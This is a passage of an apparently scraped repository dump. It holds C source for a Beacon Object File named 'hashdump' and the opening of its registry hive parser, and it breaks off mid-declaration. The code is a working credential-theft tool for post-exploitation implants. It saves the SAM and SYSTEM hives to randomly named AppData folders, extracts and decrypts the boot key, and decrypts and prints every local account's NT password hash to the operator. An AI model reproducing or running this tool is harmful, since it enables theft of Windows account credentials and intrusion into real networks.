    "content": "#include <stdio.h>\n#include <windows.h>\n#include \"bofdefs.h\"\n#include \"hive_parser.c\"\n#include \"beacon.h\"\n\nconst BYTE ODD_PARITY[] = {\n    1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,\n    16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,\n    32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,\n    49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,\n    64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,\n    81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,\n    97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110,\n    112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127,\n    128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143,\n    145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158,\n    161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174,\n    176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191,\n    193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206,\n    208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223,\n    224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239,\n    241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254};\n\n// Decrypt data using DES algorithm\nBOOL DecryptDES(const BYTE *key, const BYTE *data, BYTE *output)\n{\n    BCRYPT_ALG_HANDLE hAlg = NULL;\n    BCRYPT_KEY_HANDLE hKey = NULL;\n    BOOL result = FALSE;\n\n    NTSTATUS status = BCRYPT$BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_DES_ALGORITHM, NULL, 0);\n    if (!BCRYPT_SUCCESS(status))\n        return FALSE;\n\n    status = BCRYPT$BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_ECB, sizeof(BCRYPT_CHAIN_MODE_ECB), 0);\n    if (!BCRYPT_SUCCESS(status)) {\n        BCRYPT$BCryptCloseAlgorithmProvider(hAlg, 0);\n        return FALSE;\n    }\n\n    status = BCRYPT$BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)key, 8, 0);\n    if (!BCRYPT_SUCCESS(status)) {\n        BCRYPT$BCryptCloseAlgorithmProvider(hAlg, 0);\n        return FALSE;\n    }\n\n    DWORD cbResult = 0;\n    status = BCRYPT$BCryptDecrypt(hKey, (PUCHAR)data, 8, NULL, NULL, 0, output, 8, &cbResult, 0);\n\n    result = BCRYPT_SUCCESS(status);\n\n    BCRYPT$BCryptDestroyKey(hKey);\n    BCRYPT$BCryptCloseAlgorithmProvider(hAlg, 0);\n    return result;\n}\n\n// Decrypt data using AES-CBC algorithm\n\nBOOL DecryptAES_CBC( const BYTE *key, DWORD keyLen,const BYTE *iv,DWORD ivLen, const BYTE *encrypted, DWORD encryptedLen, BYTE **decryptedOut, DWORD *decryptedOutLen)\n{\n    BCRYPT_ALG_HANDLE hAlg = NULL;\n    BCRYPT_KEY_HANDLE hKey = NULL;\n    BOOL result = FALSE;\n\n    // Open AES algorithm provider\n    NTSTATUS status = BCRYPT$BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);\n    if (!BCRYPT_SUCCESS(status)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to open AES algorithm provider\\n\");\n        return FALSE;\n    }\n\n    // Set chaining mode to CBC\n    status = BCRYPT$BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);\n    if (!BCRYPT_SUCCESS(status)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to set chaining mode\\n\");\n        BCRYPT$BCryptCloseAlgorithmProvider(hAlg, 0);\n        return FALSE;\n    }\n\n    // Generate symmetric key\n    status = BCRYPT$BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)key, keyLen, 0);\n    if (!BCRYPT_SUCCESS(status)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to generate symmetric key\\n\");\n        BCRYPT$BCryptCloseAlgorithmProvider(hAlg, 0);\n        return FALSE;\n    }\n\n    // Allocate output buffer\n    *decryptedOut = (BYTE *)AllocateMemory(encryptedLen);\n    if (!*decryptedOut) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to allocate memory for decrypted data\\n\");\n        BCRYPT$BCryptDestroyKey(hKey);\n        BCRYPT$BCryptCloseAlgorithmProvider(hAlg, 0);\n        return FALSE;\n    }\n\n    // Decrypt\n    DWORD decryptedSize = 0;\n    status = BCRYPT$BCryptDecrypt(hKey, (PUCHAR)encrypted, encryptedLen, NULL, (PUCHAR)iv, ivLen, *decryptedOut, encryptedLen, &decryptedSize, 0);\n    if (!BCRYPT_SUCCESS(status)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Decryption failed\\n\");\n        FreeMemory(*decryptedOut);\n        *decryptedOut = NULL;\n        BCRYPT$BCryptDestroyKey(hKey);\n        BCRYPT$BCryptCloseAlgorithmProvider(hAlg, 0);\n        return FALSE;\n    }\n\n    *decryptedOutLen = decryptedSize;\n    BCRYPT$BCryptDestroyKey(hKey);\n    BCRYPT$BCryptCloseAlgorithmProvider(hAlg, 0);\n    return TRUE;\n}\n\n// Enable required privileges\nBOOL EnablePrivilege(LPCWSTR privilege)\n{\n    HANDLE hToken;\n    LUID luid;\n    TOKEN_PRIVILEGES tkp;\n\n    if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))\n        return FALSE;\n\n    if (!ADVAPI32$LookupPrivilegeValueA(NULL, privilege, &luid)) {\n        KERNEL32$CloseHandle(hToken);\n        return FALSE;\n    }\n\n    tkp.PrivilegeCount = 1;\n    tkp.Privileges[0].Luid = luid;\n    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n    if (!ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {\n        KERNEL32$CloseHandle(hToken);\n        return FALSE;\n    }\n\n    KERNEL32$CloseHandle(hToken);\n    return TRUE;\n}\n\n// Get current control set from SYSTEM hive\nDWORD GetCurrentControlSet(HKEY hSystem)\n{\n    HKEY hSelect;\n    DWORD controlSet = 1;\n    DWORD type, value, size = sizeof(DWORD);\n\n    if (ADVAPI32$RegOpenKeyExA(hSystem, \"Select\", 0, KEY_READ, &hSelect) == ERROR_SUCCESS) {\n        if (ADVAPI32$RegQueryValueExA(hSelect, \"Current\", NULL, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS)\n            controlSet = value;\n        ADVAPI32$RegCloseKey(hSelect);\n    }\n    return controlSet;\n}\n\n// Helper function to get boot key\nBOOL GetBootKey(HKEY hSystem, LPCSTR lsaPath, BYTE *bootKey)\n{\n    HKEY hLsa;\n    BYTE data[80];\n    DWORD size = sizeof(data);\n    LONG res;\n\n    if (ADVAPI32$RegOpenKeyExA(hSystem, lsaPath, 0, KEY_READ, &hLsa) != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to open key\");\n        return FALSE;\n    }\n\n    const DWORD indices[16] = {0x8, 0x5, 0x4, 0x2, 0xB, 0x9, 0xD, 0x3, 0x0, 0x6, 0x1, 0xC, 0xE, 0xA, 0xF, 0x7};\n    const wchar_t *values[] = {L\"JD\", L\"Skew1\", L\"GBG\", L\"Data\"};\n\n    BYTE bootKeyParts[16];\n\n    for (DWORD i = 0; i < 4; i++)\n    {\n        // DWORD type, size = 4;\n        HKEY hKey;\n        wchar_t classValue[256];\n        DWORD classValueSize = sizeof(classValue) / 2;\n\n        res = ADVAPI32$RegOpenKeyW(hLsa, values[i], &hKey);\n        if (res != ERROR_SUCCESS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to open key\");\n            return FALSE;\n        }\n        if (ADVAPI32$RegQueryInfoKeyW(hKey, classValue, &classValueSize, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to read class\");\n            return FALSE;\n        }\n        ADVAPI32$RegCloseKey(hKey);\n\n        // Decode the bootkey hex strings\n        for (size_t j = 0; j < classValueSize / 2; ++j) {\n            MSVCRT$swscanf_s(classValue + j * 2, L\"%2hhx\", bootKeyParts + i * 4 + j);\n        }\n    }\n\n    // Permute boot key\n    for (DWORD i = 0; i < 16; i++)\n        bootKey[i] = bootKeyParts[indices[i]];\n\n    ADVAPI32$RegCloseKey(hLsa);\n    return TRUE;\n}\n\n// Global pointers for backup paths\nchar* systemBackupPath __attribute__((section (\".data\"))) = 0;\nchar* samBackupPath __attribute__((section (\".data\"))) = 0;\n\n// Generate random alphanumeric string\nvoid GenerateRandomString(char *buffer, size_t length)\n{\n    const char charset[] = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n    for (size_t i = 0; i < length; ++i) {\n        buffer[i] = charset[MSVCRT$rand() % (sizeof(charset) - 1)];\n    }\n    buffer[length] = '\\0';\n}\n\n// Initialize backup paths with random directories in AppData\\Local\nvoid InitializeBackupPaths()\n{\n    MSVCRT$srand((unsigned int)MSVCRT$time(NULL)); // Seed RNG\n\n    char basePath[MAX_PATH];\n    // Get AppData\\Local path\n    DWORD envLen = KERNEL32$GetEnvironmentVariableA(\"LOCALAPPDATA\", basePath, MAX_PATH);\n    if (envLen == 0 || envLen >= MAX_PATH)\n        MSVCRT$strcpy_s(basePath, MAX_PATH, \"C:\\\\temp\"); // Fallback\n\n    char randPart1[9], randPart2[9];\n    GenerateRandomString(randPart1, 8); // 8-character random string\n    GenerateRandomString(randPart2, 8); // 8-character random string\n\n    // Allocate and build paths\n    systemBackupPath = (char *)AllocateMemory(MAX_PATH);\n    samBackupPath = (char *)AllocateMemory(MAX_PATH);\n    MSVCRT$sprintf_s(systemBackupPath, MAX_PATH, \"%s\\\\%s\", basePath, randPart1);\n    MSVCRT$sprintf_s(samBackupPath, MAX_PATH, \"%s\\\\%s\", basePath, randPart2);\n}\n\n// Remember to free memory during cleanup\nvoid CleanupBackupPaths()\n{\n    FreeMemory(systemBackupPath);\n    FreeMemory(samBackupPath);\n}\n\nvoid go()\n{\n\n    InitializeBackupPaths();\n    LONG res;\n    const char *tempSystemKey = \"BACKUP1\";\n\n    if (!EnablePrivilege(SE_BACKUP_NAME)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to enable backup privileges. Are you local admin?\");\n        return;\n    }\n\n    if (!EnablePrivilege(SE_RESTORE_NAME)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to enable restore privileges. Are you local admin?\");\n        return;\n    }\n\n    // Backup hives\n    HKEY hSystem;\n    HKEY hSam;\n    res = ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SYSTEM\", 0, KEY_READ, &hSystem);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] RegOpenKeyExA failed: %d\\n\", res);\n        return;\n    }\n\n    res = ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SAM\", 0, KEY_READ, &hSam);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] RegOpenKeyExA failed: %d\\n\", res);\n        return;\n    }\n\n    // Save the hives to a files\n    res = ADVAPI32$RegSaveKeyA(hSystem, systemBackupPath, NULL);\n    ADVAPI32$RegCloseKey(hSystem);\n    if (res != ERROR_SUCCESS && res != ERROR_ALREADY_EXISTS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] RegSaveKeyW failed: %d\\n\", res);\n        return;\n    }\n\n    res = ADVAPI32$RegSaveKeyA(hSam, samBackupPath, NULL);\n    ADVAPI32$RegCloseKey(hSam);\n    if (res != ERROR_SUCCESS && res != ERROR_ALREADY_EXISTS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] RegSaveKeyW failed: %d\\n\", res);\n        return;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[HASHDUMP] Dumped SAM and SYSTEM\");\n\n    // Load backuped SYSTEM key\n    res = ADVAPI32$RegLoadKeyA(HKEY_LOCAL_MACHINE, tempSystemKey, systemBackupPath);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] RegLoadKeyA failed: %d\\n\", res);\n        return;\n    }\n\n    // Get current control set\n    HKEY hSystemBak;\n    res = ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"BACKUP1\", 0, KEY_READ, &hSystemBak);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to open SYSTEM backup key: %d\\n\", res);\n        return;\n    }\n\n    DWORD controlSet = GetCurrentControlSet(hSystemBak);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[HASHDUMP] Found current control set: %d\\n\", controlSet);\n    CHAR lsaPath[MAX_PATH];\n    MSVCRT$_snprintf(lsaPath, MAX_PATH, \"ControlSet%03d\\\\Control\\\\Lsa\", controlSet);\n\n    // Extract boot key\n    BYTE bootKey[16];\n    if (!GetBootKey(hSystemBak, lsaPath, bootKey)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to extract boot key\");\n        ADVAPI32$RegCloseKey(hSystemBak);\n        return;\n    }\n    ADVAPI32$RegCloseKey(hSystemBak);\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[HASHDUMP] Bootkey: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x\",\n                 bootKey[0], bootKey[1], bootKey[2], bootKey[3],\n                 bootKey[4], bootKey[5], bootKey[6], bootKey[7],\n                 bootKey[8], bootKey[9], bootKey[10], bootKey[11],\n                 bootKey[12], bootKey[13], bootKey[14], bootKey[15]);\n\n    res = ADVAPI32$RegUnLoadKeyA(HKEY_LOCAL_MACHINE, tempSystemKey);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to unload SYSTEM backup key: %d\\n\", res);\n        return;\n    }\n\n    // Open SAM file - needed to decrypt BootKey\n    FILE *file = MSVCRT$fopen(samBackupPath, \"rb\");\n    if (!file)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to open SAM file\");\n        return;\n    }\n\n    struct BaseBlock base;\n    if (MSVCRT$fread(&base, 1, sizeof(base), file) != sizeof(base))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to read base block\");\n        MSVCRT$fclose(file);\n        return;\n    }\n\n    if (MSVCRT$memcmp(base.signature, \"regf\", 4) != 0)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Invalid registry file\");\n        MSVCRT$fclose(file);\n        return;\n    }\n\n    // Read root key\n    uint32_t cellSize;\n    BYTE *rootCell = readCell(file, base.rootKeyOffset, &cellSize);\n    if (!rootCell)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to read root cell\");\n        MSVCRT$fclose(file);\n        return;\n    }\n\n    struct NkKey currentKey = parseNkKey(rootCell, cellSize);\n    FreeMemory(rootCell);\n\n    if (!currentKey.name)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Root key parse error\");\n        MSVCRT$fclose(file);\n        return;\n    }\n\n    // Decrypt boot key\n\n    // Navigate to SAM\\Domains\\Account\n    const char *accountKeyPath[] = {\"SAM\", \"Domains\", \"Account\"};\n    struct NkKey accountKey = navigateToPath(file, &currentKey, accountKeyPath, 3);\n    freeNkKey(&currentKey);\n\n    if (!accountKey.name)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to navigate to account key\");\n        MSVCRT$fclose(file);\n        return;\n    }\n\n    // Read F value\n    uint32_t valueCount;\n    struct ValueEntry *values = parseValueList(file, accountKey.valueListOffset, accountKey.numValues, &valueCount);\n    if (!values)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to parse value list\");\n        freeNkKey(&accountKey);\n        MSVCRT$fclose(file);\n        return;\n    }\n\n    BYTE *fdata = NULL;\n    uint32_t fdataSize = 0;\n    for (uint32_t i = 0; i < valueCount; i++)\n    {\n        if (MSVCRT$strcmp(values[i].name, \"F\") == 0)\n        {\n            fdata = readHiveData(file, values[i].dataOffset, values[i].dataSize, &fdataSize);\n            break;\n        }\n    }\n\n    freeValueEntry(values);\n    freeNkKey(&accountKey);\n\n    if (!fdata)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to read F\");\n        MSVCRT$fclose(file);\n        return;\n    }\n\n    // Extract keys1\n    if (fdataSize < 0xa8 + 4)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] F too small\");\n        FreeMemory(fdata);\n        MSVCRT$fclose(file);\n        return;\n    }\n\n    BYTE *keys1 = fdata + 0x68 + 4;\n    if (keys1[0] != 0x02)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] This version of Windows is currently unsupported\");\n        FreeMemory(fdata);\n        MSVCRT$fclose(file);\n        return;\n    }\n\n    // Extract AES data\n    BYTE *aes_iv = keys1 + 0x10;\n    BYTE *aes_data = keys1 + 0x20;\n\n    // Decrypt the boot key\n    BYTE *decryptedBootKey = NULL;\n    DWORD decryptedBootKeyLen = 0;\n    if (!DecryptAES_CBC(bootKey, 16, aes_iv, 16, aes_data, 16, &decryptedBootKey, &decryptedBootKeyLen))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to decrypt Bootkey\");\n        FreeMemory(fdata);\n        MSVCRT$fclose(file);\n        return;\n    }\n\n    FreeMemory(fdata);\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[HASHDUMP] Decrypted bootkey: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x\",\n                 decryptedBootKey[0], decryptedBootKey[1], decryptedBootKey[2], decryptedBootKey[3],\n                 decryptedBootKey[4], decryptedBootKey[5], decryptedBootKey[6], decryptedBootKey[7],\n                 decryptedBootKey[8], decryptedBootKey[9], decryptedBootKey[10], decryptedBootKey[11],\n                 decryptedBootKey[12], decryptedBootKey[13], decryptedBootKey[14], decryptedBootKey[15]);\n\n    // Navigate to SAM\\Domains\\Account\\Users\n    const char *usersKeyPath[] = {\"SAM\", \"Domains\", \"Account\", \"Users\"};\n    struct NkKey usersKey = navigateToPath(file, &currentKey, usersKeyPath, 4);\n\n    uint32_t offsetCount;\n    uint32_t *userOffsets = getSubkeyOffsets(file, usersKey.subkeyListOffset, &offsetCount);\n    if (!userOffsets)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Failed to get user offsets\\n\");\n        FreeMemory(decryptedBootKey);\n        freeNkKey(&usersKey);\n        MSVCRT$fclose(file);\n        return;\n    }\n\n    wchar_t *outputBuffer = (wchar_t *)AllocateMemory((offsetCount * 128) * sizeof(wchar_t)); // Size is only approximate, maybe fix it. However, 128 is big enough\n    MSVCRT$memset(outputBuffer, 0,(offsetCount * 128) * sizeof(wchar_t));\n    int bufferSize = 0;\n\n    for (uint32_t i = 0; i < offsetCount; i++)\n    {\n        uint32_t cellSize;\n        BYTE *cellData = readCell(file, userOffsets[i], &cellSize);\n        if (!cellData)\n            continue;\n\n        struct NkKey userKey = parseNkKey(cellData, cellSize);\n        FreeMemory(cellData);\n\n        if (!userKey.name || MSVCRT$strcmp(userKey.name, \"Names\") == 0)\n        {\n            freeNkKey(&userKey);\n            continue;\n        }\n\n        uint32_t rid = MSVCRT$strtoul(userKey.name, NULL, 16);\n\n        struct ValueEntry *values = parseValueList(file, userKey.valueListOffset, userKey.numValues, &valueCount);\n        if (!values)\n        {\n            freeNkKey(&userKey);\n            continue;\n        }\n\n        // Extract F and V\n        BYTE *vdata = NULL;\n        uint32_t vdataSize = 0;\n        BYTE *fdata = NULL;\n        uint32_t fdataSize = 0;\n\n        for (uint32_t j = 0; j < valueCount; j++)\n        {\n            if (MSVCRT$strcmp(values[j].name, \"V\") == 0)\n                vdata = readHiveData(file, values[j].dataOffset, values[j].dataSize, &vdataSize);\n            else if (MSVCRT$strcmp(values[j].name, \"F\") == 0)\n                fdata = readHiveData(file, values[j].dataOffset, values[j].dataSize, &fdataSize);\n        }\n\n        freeValueEntry(values);\n        freeNkKey(&userKey);\n\n        if (!vdata || !fdata) {\n            FreeMemory(vdata);\n            FreeMemory(fdata);\n            continue;\n        }\n\n        // Read username\n        if (vdataSize <= 0xc + 4 + 4) {\n            FreeMemory(vdata);\n            FreeMemory(fdata);\n            continue;\n        }\n\n        uint32_t usernameOffset = *(const int32_t *)(vdata + 0xc + 4) + 0xcc;\n        uint32_t usernameLength = *(const int32_t *)(vdata + 0xc + 4 + 4);\n\n        if (vdataSize <= usernameOffset + 4 + usernameLength)\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Username offset is more than data size %u\\n\", usernameOffset);\n            FreeMemory(vdata);\n            FreeMemory(fdata);\n            continue;\n        }\n\n        // TODO !!! Crashes on cyrillic usernames + Client is not rendering WCHARS correctly - check and fix\n        wchar_t *username = (wchar_t *)AllocateMemory(usernameLength + sizeof(wchar_t)); // wchar because cyrillic and other usernames\n        if (!username)\n        {\n            FreeMemory(vdata);\n            FreeMemory(fdata);\n            continue;\n        }\n\n        MSVCRT$memcpy(username, vdata + usernameOffset + 4, usernameLength);\n        username[usernameLength / sizeof(wchar_t)] = L'\\0';\n\n        // Read hash\n        if (vdataSize <= 0xa8 + 4 + 4)\n        {\n            FreeMemory(username);\n            FreeMemory(vdata);\n            FreeMemory(fdata);\n            continue;\n        }\n\n        uint32_t ntOffset = *(const int32_t *)(vdata + 0xa8 + 4) + 0xcc;\n        uint32_t hashLength = *(const int32_t *)(vdata + 0xa8 + 4 + 4);\n\n        if (vdataSize <= ntOffset + 4 + hashLength)\n        {\n            FreeMemory(username);\n            FreeMemory(vdata);\n            FreeMemory(fdata);\n            continue;\n        }\n        if (hashLength <= 0x18)\n        {\n            // Empty hash - TODO lookup how secretsdump handles this guys\n            wchar_t *partBuffer = (wchar_t *)AllocateMemory(12 * sizeof(wchar_t));\n            if (partBuffer == NULL)\n            {\n                BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Could not allocate buffer\");\n                FreeMemory(username);\n                FreeMemory(vdata);\n                FreeMemory(fdata);\n                continue;\n            }\n            MSVCRT$memset(partBuffer, 0, 128 * sizeof(wchar_t));\n\n            int partSize = MSVCRT$sprintf(partBuffer, \"%ls:%d:<empty>\\n\", username, rid);\n\n            MSVCRT$wcscat_s(outputBuffer, offsetCount * 128, partBuffer);\n            bufferSize += partSize;\n\n            FreeMemory(username);\n            FreeMemory(vdata);\n            FreeMemory(fdata);\n            continue;\n        }\n\n        BYTE *hash_data = vdata + ntOffset + 4;\n        BOOL isAes = hash_data[2] == 2;\n\n        if (isAes)\n        {\n            // Extract salt (IV)\n            BYTE *aes_iv = hash_data + 0x8;\n            BYTE *aes_data = hash_data + 0x18;\n\n            // Decrypt with AES\n            BYTE *encrypted_hash = NULL;\n            DWORD encrypted_hash_len = 0;\n            if (DecryptAES_CBC(decryptedBootKey, 16, aes_iv, 16, aes_data, 16, &encrypted_hash, &encrypted_hash_len))\n            {\n                // RID to key(s)\n                BYTE s1[7];\n                BYTE s2[7];\n\n                s1[0] = rid & 0xff;\n                s1[1] = (rid >> 8) & 0xff;\n                s1[2] = (rid >> 16) & 0xff;\n                s1[3] = (rid >> 24) & 0xff;\n                s1[4] = s1[0];\n                s1[5] = s1[1];\n                s1[6] = s1[2];\n\n                s2[0] = s1[3];\n                s2[1] = s1[0];\n                s2[2] = s1[1];\n                s2[3] = s1[2];\n                s2[4] = s2[0];\n                s2[5] = s2[1];\n                s2[6] = s2[2];\n\n                BYTE k1[8];\n                BYTE k2[8];\n\n                k1[0] = ODD_PARITY[(s1[0] >> 1) << 1];\n                k1[1] = ODD_PARITY[(((s1[0] & 0x01) << 6) | (s1[1] >> 2)) << 1];\n                k1[2] = ODD_PARITY[(((s1[1] & 0x03) << 5) | (s1[2] >> 3)) << 1];\n                k1[3] = ODD_PARITY[(((s1[2] & 0x07) << 4) | (s1[3] >> 4)) << 1];\n                k1[4] = ODD_PARITY[(((s1[3] & 0x0F) << 3) | (s1[4] >> 5)) << 1];\n                k1[5] = ODD_PARITY[(((s1[4] & 0x1F) << 2) | (s1[5] >> 6)) << 1];\n                k1[6] = ODD_PARITY[(((s1[5] & 0x3F) << 1) | (s1[6] >> 7)) << 1];\n                k1[7] = ODD_PARITY[(s1[6] & 0x7F) << 1];\n\n                k2[0] = ODD_PARITY[(s2[0] >> 1) << 1];\n                k2[1] = ODD_PARITY[(((s2[0] & 0x01) << 6) | (s2[1] >> 2)) << 1];\n                k2[2] = ODD_PARITY[(((s2[1] & 0x03) << 5) | (s2[2] >> 3)) << 1];\n                k2[3] = ODD_PARITY[(((s2[2] & 0x07) << 4) | (s2[3] >> 4)) << 1];\n                k2[4] = ODD_PARITY[(((s2[3] & 0x0F) << 3) | (s2[4] >> 5)) << 1];\n                k2[5] = ODD_PARITY[(((s2[4] & 0x1F) << 2) | (s2[5] >> 6)) << 1];\n                k2[6] = ODD_PARITY[(((s2[5] & 0x3F) << 1) | (s2[6] >> 7)) << 1];\n                k2[7] = ODD_PARITY[(s2[6] & 0x7F) << 1];\n\n                // Decrypt with DES now\n                BYTE decrypted_hash[16];\n\n                DecryptDES(k1, encrypted_hash, decrypted_hash);\n                DecryptDES(k2, encrypted_hash + 8, decrypted_hash + 0x8);\n\n                wchar_t *partBuffer = (wchar_t *)AllocateMemory(128 * sizeof(wchar_t));\n                if (partBuffer == NULL)\n                {\n                    BeaconPrintf(CALLBACK_ERROR, \"[HASHDUMP] Could not allocate buffer\");\n                    FreeMemory(encrypted_hash);\n                    continue;\n                }\n                MSVCRT$memset(partBuffer, 0, 128 * sizeof(wchar_t));\n\n                int partSize = MSVCRT$sprintf(partBuffer, \"%ls:%d:%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x\\n\", username, rid,\n                                              decrypted_hash[0], decrypted_hash[1], decrypted_hash[2], decrypted_hash[3],\n                                              decrypted_hash[4], decrypted_hash[5], decrypted_hash[6], decrypted_hash[7],\n                                              decrypted_hash[8], decrypted_hash[9], decrypted_hash[10], decrypted_hash[11],\n                                              decrypted_hash[12], decrypted_hash[13], decrypted_hash[14], decrypted_hash[15]);\n\n                if (partSize != -1) {\n                    BeaconOutput(CALLBACK_OUTPUT, partBuffer, partSize);\n                    FreeMemory(partBuffer);\n               }\n\n                FreeMemory(encrypted_hash);\n            }\n        }\n\n        FreeMemory(username);\n        FreeMemory(vdata);\n        FreeMemory(fdata);\n    }\n\n\n    MSVCRT$fclose(file);\n    CleanupBackupPaths();\n}\n"
  },
  {
    "path": "Creds-BOF/hashdump/hive_parser.c",
    "content": "#include <stdint.h>\n#include <tchar.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n\n#define CALLBACK_ERROR       0x0d\n\n#pragma pack(push, 1)\nstruct BaseBlock\n{\n    char signature[4];\n    uint32_t primarySequence;\n    uint32_t secondarySequence;\n    uint64_t lastModified;\n    uint32_t majorVersion;\n    uint32_t minorVersion;\n    uint32_t fileType;\n    uint32_t fileFormat;\n    uint32_t rootKeyOffset;\n    uint32_t hiveSize;\n    uint32_t clusteringFactor;\n    char reserved[64];\n};\n#pragma pack(pop)\n\nstruct NkKey\n{\n    char *name;\n    uint32_t numSubkeys;\n    uint32_t subkeyListOffset;\n    uint32_t numValues;\n    uint32_t valueListOffset;\n};\n\nstruct LfList\n{\n    uint32_t *subkeyOffsets;\n    uint16_t count;\n};\n\nstruct LiList\n{\n    uint32_t *subkeyOffsets;\n    uint16_t count;\n};\n\nstruct LhList\n{\n    uint32_t *subkeyOffsets;\n    uint16_t count;\n};\n\nstruct ValueEntry\n{\n    char *name;\n    uint32_t dataSize;\n    uint32_t dataOffset;\n};\n\n// Memory management functions - maybe move this to some separate file\nLPVOID AllocateMemory(SIZE_T size);\nvoid FreeMemory(LPVOID ptr);\nLPVOID ReallocateMemory(LPVOID ptr, SIZE_T size);\n\n// Read raw data from hive (without parsing size from first 4 bytes)\nBYTE *readHiveData(FILE *file, uint32_t offset, uint32_t size, uint32_t *outSize);\n\n// Read cell from hive. Reads 4 bytes as size and other part as data\nBYTE *readCell(FILE *file, uint32_t offset, uint32_t *outSize);\n\n// Read value list entries\nuint32_t *readValueList(FILE *file, uint32_t offset, uint32_t numValues, uint32_t *outCount);\n\n// Some parsers\nstruct ValueEntry parseValueEntry(const BYTE *data, uint32_t 